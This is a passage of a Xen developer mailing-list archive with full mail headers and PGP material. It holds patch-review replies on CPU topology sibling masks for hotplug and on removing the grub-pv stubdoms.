 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784557739; x=1785162539; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ApaNs6wln6tfa72PpnMR7oiI/TOUp0tOXzX+pBwMZbQ=;
        b=eswilXa/Qs/2p70QtKwZ8vfhV+EyMyUPW2EHFHHoquE/RK3Ct7uBeZbXhKuAyvZzm2
         Dcq98JK6mIQGMkosCLhykkwYo5nbbwRYUqQP7kUVWH17TdOxZ6syYYmk/UESmD/H3uJG
         arf87uKufWW/Kro+mYyjP4bY7Wv0Xfi8J6DcbXMjfg6pN9vzt5Dbmjt0cyXKE4rgL9sI
         5qJ4NGpx8hST8IhiPjbUm94mOnBUEUObY+h1XhcYyj6pGjLcdA/90x3KBsNSJeEee0w3
         37UM2ih+jHh72CCZrqsy+awbtMgUdQvAl5S7QnoWHZMK3TQh/eu8JkcP/9XZaGKiLy1T
         KOxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784557739; x=1785162539;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ApaNs6wln6tfa72PpnMR7oiI/TOUp0tOXzX+pBwMZbQ=;
        b=HLvJZmqcpNdgrjA+uviKWS9g4y/9qmaxQTRTamixlpBeYTACl0a/9H7TthLECFyWcD
         C5uA+9guBlhF4KbAvzR3E69GIrRlJQyVpRI3SU9BreRoc0X5O0dYSlz0Eo49hbxZ6UBY
         g5caluJoNKjxLWNnigwZmLk06iO97ccvIQWkPz7C2aa9TCUwqrUzgKpozb/TFKjmJtBi
         l3NS8aMLf1E+YmTI1LJ1/j7jLY08Q78jOSsm2/2o7AQoFf5VEWQwNkCgfKn1fBdDxxje
         41kpWDc7eojxVzk/pcsvZkVrvqWCTq5lQS5hCf0w8wttrimZJGlallRf4rqj5R5J71Bd
         tMrg==
X-Forwarded-Encrypted: i=1; AHgh+RqZHCxsOfEpLUH0UlC0QCcU59E44M2tTTIt+7snHMEWi7AgnS1dFPd3ay682sDeIENYSp6v9s+Jks4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzlHuHpKWD2BF4v/enASJ9nlHxBq5KFDB8jdObL8gPe+zlPsp48
	ShcXY1d25jd5IM/PU1AOImbh42vH6POJciQuG3YnZ3tZPP/elsrIPuwCN0VT6D1p1g==
X-Gm-Gg: AfdE7cngIeit9RbXTc8/iEsvef5Vp1DZlHGA4slqxAfX4vOb/VTmLaqelQqdQt2dILz
	+8WEZ6puqkq4RYjBnH5UWXI4ft+sZKAXncLabHBwN6Uo9avgdu2XFmGwssoiLU4BY5I6sCDBCPY
	iYHOqVOitx3N+b1MQXWggZ2uAtyxbvSlXF9vFKEvLvXiA+LjiMKH5kQCIJBTIbdTIhZ7wDaaFe9
	txajFlxKIgA03oPRry25q1qGl0qtm8OEwwhK5te9sqAspZo3hWFVXa5UQP4ZxWUJ0QpNWephfpE
	c3lGtKWZaKlBa0BcWJCm2BvHBjFcn/LeVaTj1+z7C1FDnXsryE4T7tGBXfAECYLbCdyK5vMSepK
	1hbkdMV9aR9e69JyNCj0o6AYv4/9bAC4pERrfAehmGVQYGd3qdeyrugDrDjySH92G22GmMsemrU
	/1mxLdaNIOaD3CnzA2LT65JF9v9DZpAf350HYE6+zoZSiUiYgz+fchAYiqGtUHTL5kKw==
X-Received: by 2002:a05:600c:46c7:b0:495:5205:86c with SMTP id 5b1f17b1804b1-495520509cemr102272015e9.22.1784557739653;
        Mon, 20 Jul 2026 07:28:59 -0700 (PDT)
Message-ID: <a2b6a2a6-41d5-400e-906a-25e5f15e7be6@suse.com>
Date: Mon, 20 Jul 2026 16:29:00 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
 <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
 <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <OS9P286MB7222F9243B20CFE5FE145A9182C32@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX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
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <OS9P286MB7222F9243B20CFE5FE145A9182C32@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1784557740-012C8A5B-0D2DFB61/0/0
X-purgate-type: clean
X-purgate-size: 1733

On 20.07.2026 15:58, Hirokazu Takahashi wrote:
> I suspect that when CPU hotplug is implemented, cpu_topology[cpu].core_sibling
> And per_cpu(cpu_core_mask, cpu) will actually diverge.
> cpu_topology[cpu].core_sibling will include reserved CPUs that may be hotplugged
> in the future, whereas per_cpu(cpu_sibling_mask, cpu) will only track currently
> active CPUs.

I see. This then wants calling out, perhaps not only in descriptions but also
in code comments.

Jan

>>>> +/* SPDX-License-Identifier: GPL-2.0-only */
>>>> +
>>>> +#ifndef XEN_CPU_TOPOLOGY_H
>>>> +#define XEN_CPU_TOPOLOGY_H
>>>> +
>>>> +#include <xen/cpumask.h>
>>>> +
>>>> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
>>>> +
>>>> +struct cpu_topology {
>>>> +    cpumask_var_t thread_sibling;
>>>
>>> Btw, as this aspect becomes more apparent when looking at patch 2: What is
>> the
>>> relationship of this (i.e. cpu_topology[cpu].thread_sibling) to
>>> per_cpu(cpu_sibling_mask, cpu)? The two ought to be identical, but I can't
>> see
>>> this being guaranteed. And if they were identical, why would both be needed?
>>>
>>>> +    cpumask_var_t core_sibling;
>>>
>>> Same for this vs the per-CPU cpu_core_mask.
>>
>> I have considered the same thing before. However, considering the CPU hotplug
>> support that Mykyta Poturai is currently implementing, it is difficult to remove
>> thread_sibling and core_sibling from struct cpu_topology. We intend to use
>> cpu_topology to hold information for CPUs that haven't been hotplugged yet.
>>
>> While it might make more sense to remove the per-CPU masks instead,
>> I hesitated to do so because the impact on x86 Xen would be quite large.
>>
>> Thank you,
>> Hirokazu Takahashi.



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:51:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:51:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366683.1616630 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpKo-000667-4i; Mon, 20 Jul 2026 14:51:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366683.1616630; Mon, 20 Jul 2026 14:51:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpKo-000660-1i; Mon, 20 Jul 2026 14:51:10 +0000
Received: by outflank-mailman (input) for mailman id 1366683;
 Mon, 20 Jul 2026 14:51:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wlpKm-00065u-D2
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:51:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlpKl-00C6pT-QE
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:51:07 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5e35c9-e002-0a2a0a5209dd-0a2a4509d848-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:51:04 +0200
Received: from [209.85.208.53] (helo=mail-ed1-f53.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5e35d8-be1a-0a2a45090019-d155d035b024-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:51:04 +0200
Received: by mail-ed1-f53.google.com with SMTP id
 4fb4d7f45d1cf-69e5f8a193bso4814770a12.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:51:04 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69e700055a8sm4688280a12.28.2026.07.20.07.51.02
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:51:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784559064; x=1785163864; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=n9RYpcFqmsoIc1HMRe8YLrIc4YNMb0nBJ8I8pp/B1sk=;
        b=MRKRt4eIqMne0We9q5sn2tdfesBJHHAUnLnmtSk/vsylJtoi2jvnPyeVjv9Gxt4zKI
         i+fe1w/rlOfQ+sDZuHu3lqpDsn6c3MUoL9wSudb6a4iBeOpGRx6EVgKFN1S+i85NdDAo
         56bYgeYICOy9ClGsFMVBDibGN+DzjyWLZ3M1NcdcWqCHz0mxaCzBXm4XZJ0nYpZfXQrh
         fF+9kjLLcEsgeNTbgJ9DZPhruS5b6CHX2xPhVPh8UOobrRmssx8OjbOb73l0zWhxfVWE
         4XhLh+5HpMnRZqgStpXeDOuvGpi7icsqJqdmkdfau/XLEE9qZqFLLcIUclE/oowDvJN4
         BEaA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784559064; x=1785163864;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=n9RYpcFqmsoIc1HMRe8YLrIc4YNMb0nBJ8I8pp/B1sk=;
        b=MJAJ9LgmzfQwP/chjnGxMutXKSvar8Sm4kiBYl5IrxPppSJVLB6Dgw5ddnflE9ochs
         f3P5Q3VU5XXAZ3t2iy4CIayfoL1071AwhT2TQ0xU9Vm2nVawCVJOklbO4+dvIsHuxlWl
         XVRdwRYFlbOeF1Qqra8XMLzNBaTcv5t65kG6pWSF1peYVVyuWGbpvIY05KkpCvD4FpZx
         LboZX+1Tn0+1F7X61dUiwIfdCigDJpQ7VQmSDDB4V8Rpqdo4aODbQAS3vJrXrpQWZLIF
         /chdsp7kslZaFyk11ShpljqhU7t2oXaSBzsASXnn1Aumd9GxLAZd/LvtmbHDVZEhacQ0
         8r4Q==
X-Forwarded-Encrypted: i=1; AHgh+Rowl2Z3GmGysqbhX2IVTPqxNiaDXnAIVTtP/HEchoPkLfxL22g/zOjWu/9GYdr0Q8EJuN7gzoKWjtE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwnAJWOZamjTPfJhnqXo8p8YwesifQDYKRcaAhcYAuoJtXrVFzh
	nVGXjmV8Cq1A9jUWK8J7a6TKZ1I+pjo+ISSYfPrpgwV0dyHebu7rsHueoEtkJ46D6Y4=
X-Gm-Gg: AfdE7cllZgel6wwYIS8zWySiIlB2ZW1fNthR4GFZ8W3/2WRAYZt/93f2VRuKhPYcbCM
	r6VtrDMtFsbtnEVIrddcB7QfCtcfIOAVPSilKx9gqqoIMnx4QPnU4RwUuEdHK5+sLBWScTW+mDO
	Z6wGKVd9HRxL7kxRO9eiUsX6bfiGal/ZQFx0LATL0cOTq8ZJMOsqTrZTT+Slk6YxIBDFBjt0Z16
	dteK2483pFD8lK5/WtTQDbi8qW+QzrA6vPeoK4QopG4i2nnltxSb2HVXy7aj9tNM1FEo8f4xEPK
	1FvaoBcJroeZkpuqf0vaVqxHrfunQRmXzHPsEyY49qArkLINwxTFn0p2j82Ks/lY0D41n2/ZHQp
	Dw7pNhwFpibIitOss6bAYfZCw7TtdNYoIep4qbYG4UogiIT+5ajKAqim904GwrluYXuHDa8GPGH
	7Fc/psMy57xXe85UgS0VxsKGLe4v2oJydF2ApaaEY9ydtH8fw4swIuqmyrM+J0EaSYGsjrak2MA
	OdQIglHua1uVUd++WZai7pUzhYIk/Zl
X-Received: by 2002:a05:6402:4402:b0:69c:9197:4413 with SMTP id 4fb4d7f45d1cf-69e652dfccemr5648070a12.36.1784559063677;
        Mon, 20 Jul 2026 07:51:03 -0700 (PDT)
Message-ID: <8325bdf3-5c6e-4894-82ae-9cbe4c1b583a@suse.com>
Date: Mon, 20 Jul 2026 16:51:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 0/5] stubdom: remove grub-pv
To: Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>
References: <20260720081833.4122182-1-jgross@suse.com>
 <1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@vates.tech>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNl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ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------uG0R09MFqjRUdXlCPgTSdVgX"
X-purgate-ID: tlsNG-bad1c0/1784559064-BD2CC034-032E030A/0/0
X-purgate-type: clean
X-purgate-size: 9798

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------uG0R09MFqjRUdXlCPgTSdVgX
Content-Type: multipart/mixed; boundary="------------utpEe4a0oshVnjz33ACGh00g";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>
Message-ID: <8325bdf3-5c6e-4894-82ae-9cbe4c1b583a@suse.com>
Subject: Re: [PATCH v2 0/5] stubdom: remove grub-pv
References: <20260720081833.4122182-1-jgross@suse.com>
 <1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@vates.tech>
In-Reply-To: <1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@vates.tech>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5x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hsEzd1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------utpEe4a0oshVnjz33ACGh00g
Content-Type: multipart/mixed; boundary="------------xhK9UbBtdJ3xWRREiT42r0NM"

--------------xhK9UbBtdJ3xWRREiT42r0NM
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTY6MjIsIFRlZGR5IEFzdGllIHdyb3RlOg0KPiBMZSAyMC8wNy8yMDI2
IMOgIDEwOjIwLCBKdWVyZ2VuIEdyb3NzIGEgw6ljcml0wqA6DQo+PiBUaGUgZ3J1Yi1wdiBz
dHViZG9tcyAoMzItIGFuZCA2NC1iaXQpIGFyZSBkaXNhYmxlZCBieSBkZWZhdWx0IHNpbmNl
DQo+PiBzZXZlcmFsIHllYXJzIG5vdy4NCj4+DQo+PiBSZW1vdmUgdGhlbSBpbiBvcmRlciB0
byBlbmFibGUgcmVtb3ZpbmcgcXVpdGUgc29tZSBtb3JlIGNvZGUgZnJvbSBYZW4uDQo+PiBJ
biBjYXNlIHNvbWVvbmUgaXMgcmVhbGx5IGRlcGVuZGluZyBvbiBncnViLXB2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Q6IHJlbW92ZSBNaW5pLU9TIHNwZWNpZmljIHBhcnRzDQo+Pg0KPiANCj4g
V2UgcHJvYmFibHkgd2FudCB0byBhZGQgYSBjaGFuZ2Vsb2cgbm90ZSB0byBzdGF0ZSB0aGF0
IHRoaXMgaGFzIGJlZW4gcmVtb3ZlZDsgDQo+IEZlZG9yYSBhdCBsZWFzdCBzdGlsbCBidWls
ZHMgdGhpcyBjb21wb25lbnQuDQoNCkkgd2FudGVkIHRvIGFkZCB0aGUgY2hhbmdlbG9nIG5v
dGUgb25seSBhZnRlciB0aGlzIHNlcmllcyBhbmQgYW4gYWRkaXRpb25hbA0KY2xlYW51cCAo
cmVxdWlyZXMgYSBNaW5pLU9TIGNoYW5nZSkgaGF2ZSBnb25lIGluLg0KDQoNCkp1ZXJnZW4N
Cg==
--------------xhK9UbBtdJ3xWRREiT42r0NM
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
Fg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r0NM--

--------------utpEe4a0oshVnjz33ACGh00g--

--------------uG0R09MFqjRUdXlCPgTSdVgX
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpeNdYFAwAAAAAACgkQsN6d1ii/Ey9i
lAf8DojcC+VEKoEO11jOFleI4NMjr5fYdzV+xc7Mc9Zk7XwpSz/3I/WMrpUx9ACQ/eUnggC7xocL
wfENEHjev2HpbSP/gvbPoL6fKAHY4bCIMCKTlH839OgpYlibTyBViI9NzZ9H4gW1gFmTnZr2OqHO
/kcySy5oe1CsaOHgp2NEKGnapetslxGgfs2eaxZRrYsT6TLTzjCmHnIx4fpbFPzAU/INrXLxhGDU
GNqJ9jbwFDHkCr7CM5M5lOIlzJomA+q9QMrNJuelW8PBSJPnogGoTEZgDXPyYYq3p3COZE+twVw6
ynTiMCVycEisDUESj32bcarzxcmjT+BRxqym06x5SQ==
=5jb0
-----END PGP SIGNATURE-----

--------------uG0R09MFqjRUdXlCPgTSdVgX--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:57:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:57:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366693.1616639 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpRE-0006tb-Sv; Mon, 20 Jul 2026 14:57:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366693.1616639; Mon, 20 Jul 2026 14:57:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpRE-0006tU-Pb; Mon, 20 Jul 2026 14:57:48 +0000
Received: by outflank-mailman (input) for mailman id 1366693;
 Mon, 20 Jul 2026 14:57:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlpRD-0006sG-7w
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:57:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlpRC-00719u-HS
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:57:46 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e3766-bab6-0a2a0a5309dd-0a2a4503e61a-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:57:46 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e376a-fae8-0a2a45030019-d155dd32c155-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:57:46 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47f752b3423so1048665f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:57:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f6fa848fcsm20675064f8f.0.2026.07.20.07.57.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:57:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784559466; x=1785164266; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=gWaBeMNDr+Npz16fsL5v+nUe3108yEO7NWb8C6McDBw=;
        b=FzM7y2ezIjMsLDq3ejdT+zZrbSVsUCE54QJ8q9qg6fZpYTAV/Blb7CvfulyxJ+KBb4
